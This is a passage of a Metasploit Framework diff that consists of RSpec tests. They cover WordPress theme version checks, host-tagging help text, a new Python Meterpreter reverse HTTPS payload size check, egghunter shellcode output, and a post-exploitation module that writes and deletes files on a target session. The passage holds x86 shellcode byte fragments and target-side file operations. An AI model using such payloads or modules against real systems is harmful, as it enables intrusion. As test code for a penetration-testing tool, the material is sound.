it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Safe) }
end
context 'when installed version is vulnerable (version range)' do
let(:wp_code) { 200 }
let(:wp_fixed_version) { '1.0.2' }
let(:wp_introd_version) { '1.0.0' }
let(:wp_body) { 'Version: 1.0.1' }
it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version, wp_introd_version)).to be(Msf::Exploit::CheckCode::Appears) }
end
context 'when installed version is older (version range)' do
let(:wp_code) { 200 }
let(:wp_fixed_version) { '1.0.1' }
let(:wp_introd_version) { '1.0.0' }
let(:wp_body) { 'Version: 0.0.9' }
it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version, wp_introd_version)).to be(Msf::Exploit::CheckCode::Safe) }
end
context 'when installed version is newer (version range)' do
let(:wp_code) { 200 }
let(:wp_fixed_version) { '1.0.1' }
let(:wp_introd_version) { '1.0.0' }
let(:wp_body) { 'Version: 1.0.2' }
it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version, wp_introd_version)).to be(Msf::Exploit::CheckCode::Safe) }
end
context 'when installed version is newer (text in version number)' do
let(:wp_code) { 200 }
let(:wp_fixed_version) { '1.5.3' }
let(:wp_body) { 'Version: 2.0.0-beta1' }
it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Safe) }
end
context 'when all versions are vulnerable' do
let(:wp_code) { 200 }
let(:wp_body) { 'Version: 1.0.0' }
it { expect(subject.send(:check_theme_version_from_style, 'name')).to be(Msf::Exploit::CheckCode::Appears) }
end
end
end

View File

@ -394,7 +394,8 @@ describe Msf::Ui::Console::CommandDispatcher::Db do
" -i,--info Change the info of a host",
" -n,--name Change the name of a host",
" -m,--comment Change the comment of a host",
"Available columns: address, arch, comm, comments, created_at, cred_count, detected_arch, exploit_attempt_count, host_detail_count, info, mac, name, note_count, os_flavor, os_lang, os_name, os_sp, purpose, scope, service_count, state, updated_at, virtual_host, vuln_count"
" -t,--tag Add or specify a tag to a range of hosts",
"Available columns: address, arch, comm, comments, created_at, cred_count, detected_arch, exploit_attempt_count, host_detail_count, info, mac, name, note_count, os_flavor, os_lang, os_name, os_sp, purpose, scope, service_count, state, updated_at, virtual_host, vuln_count, tags"
]
end
end

View File

@ -2045,6 +2045,17 @@ describe 'modules/payloads', :content do
reference_name: 'python/meterpreter/reverse_http'
end
context 'python/meterpreter/reverse_https' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
'stagers/python/reverse_https',
'stages/python/meterpreter'
],
dynamic_size: false,
modules_pathname: modules_pathname,
reference_name: 'python/meterpreter/reverse_https'
end
context 'python/meterpreter/reverse_tcp' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [

View File

@ -0,0 +1,103 @@
load Metasploit::Framework.root.join('tools/egghunter.rb').to_path
require 'stringio'
describe Egghunter do
describe Egghunter::Driver do
subject do
Egghunter::Driver.new
end
let(:egg) {
'W00T'
}
describe '#run' do
def get_stdout(&block)
out = $stdout
$stdout = fake = StringIO.new
begin
yield
ensure
$stdout = out
end
fake.string
end
let(:default_opts) {
{ :platform => 'windows', :format => 'c', :eggtag => egg, :arch => 'x86' }
}
before(:each) do
allow(Egghunter::OptsConsole).to receive(:parse).with(any_args).and_return(options)
end
context 'when the platform is windows' do
let(:options) { default_opts }
it 'returns a windows egghunter' do
output = get_stdout { subject.run }
expect(output).to include("\\x66\\x81\\xca\\xff")
end
end
context 'when the platform is linux' do
let(:options) do
{ :platform => 'linux', :format => 'c', :eggtag => egg, :arch => 'x86' }
end
it 'returns a linux egghunter' do
output = get_stdout { subject.run }
expect(output).to include("\\xfc\\x66\\x81\\xc9\\xff")
end
end
context 'when the egg is WOOT' do
let(:options) { default_opts }
it 'includes W00T in the egghunter' do
output = get_stdout { subject.run }
expect(output).to include("\\x57\\x30\\x30\\x54")
end
end
end
end
describe Egghunter::OptsConsole do
subject do
Egghunter::OptsConsole
end
context 'when no options are given' do
it 'raises OptionParser::MissingArgument' do
expect{subject.parse([])}.to raise_error(OptionParser::MissingArgument)
end
end
context 'when no format is specified and --list-formats isn\'t used' do
it 'raises OptionParser::MissingArgument' do
args = '-e AAAA'.split
expect{subject.parse(args)}.to raise_error(OptionParser::MissingArgument)
end
end
context 'when no egg is specified and --list-formats isn\'t used' do
it 'raises OptionParser::MissingArgument' do
args = '-f python'.split
expect{subject.parse(args)}.to raise_error(OptionParser::MissingArgument)
end
end
context 'when :depsize is a string' do
it 'raises OptionParser::InvalidOption' do
args = '-e AAAA -f c --depsize STRING'.split
expect{subject.parse(args)}.to raise_error(OptionParser::InvalidOption)
end
end
end
end

View File

@ -23,6 +23,11 @@ class Metasploit4 < Msf::Post
'Platform' => [ 'windows', 'linux', 'java' ],
'SessionTypes' => [ 'meterpreter', 'shell' ]
))
register_options(
[
OptString.new("BaseFileName" , [true, "File name to create", "meterpreter-test"])
], self.class)
end
#
@ -68,13 +73,13 @@ class Metasploit4 < Msf::Post
end
it "should create text files" do
write_file("pwned", "foo")
write_file(datastore["BaseFileName"], "foo")
file?("pwned")
file?(datastore["BaseFileName"])
end
it "should read the text we just wrote" do
f = read_file("pwned")
f = read_file(datastore["BaseFileName"])
ret = ("foo" == f)
unless ret
print_error("Didn't read what we wrote, actual file on target: #{f}")
@ -85,11 +90,11 @@ class Metasploit4 < Msf::Post
it "should append text files" do
ret = true
append_file("pwned", "bar")
append_file(datastore["BaseFileName"], "bar")
ret &&= read_file("pwned") == "foobar"
append_file("pwned", "baz")
final_contents = read_file("pwned")
ret &&= read_file(datastore["BaseFileName"]) == "foobar"
append_file(datastore["BaseFileName"], "baz")
final_contents = read_file(datastore["BaseFileName"])
ret &&= final_contents == "foobarbaz"
unless ret
print_error("Didn't read what we wrote, actual file on target: #{final_contents}")
@ -99,9 +104,9 @@ class Metasploit4 < Msf::Post
end
it "should delete text files" do
file_rm("pwned")
file_rm(datastore["BaseFileName"])
not file_exist?("pwned")
not file_exist?(datastore["BaseFileName"])
end
it "should move files" do
@ -131,30 +136,30 @@ class Metasploit4 < Msf::Post
it "should write binary data" do
vprint_status "Writing #{binary_data.length} bytes"
t = Time.now
write_file("pwned", binary_data)
write_file(datastore["BaseFileName"], binary_data)
vprint_status("Finished in #{Time.now - t}")
file_exist?("pwned")
file_exist?(datastore["BaseFileName"])
end
it "should read the binary data we just wrote" do
bin = read_file("pwned")
bin = read_file(datastore["BaseFileName"])
vprint_status "Read #{bin.length} bytes"
bin == binary_data
end
it "should delete binary files" do
file_rm("pwned")
file_rm(datastore["BaseFileName"])
not file_exist?("pwned")
not file_exist?(datastore["BaseFileName"])
end
it "should append binary data" do
write_file("pwned", "\xde\xad")
append_file("pwned", "\xbe\xef")
bin = read_file("pwned")
file_rm("pwned")
write_file(datastore["BaseFileName"], "\xde\xad")
append_file(datastore["BaseFileName"], "\xbe\xef")
bin = read_file(datastore["BaseFileName"])
file_rm(datastore["BaseFileName"])
bin == "\xde\xad\xbe\xef"
end

Some files were not shown because too many files have changed in this diff Show More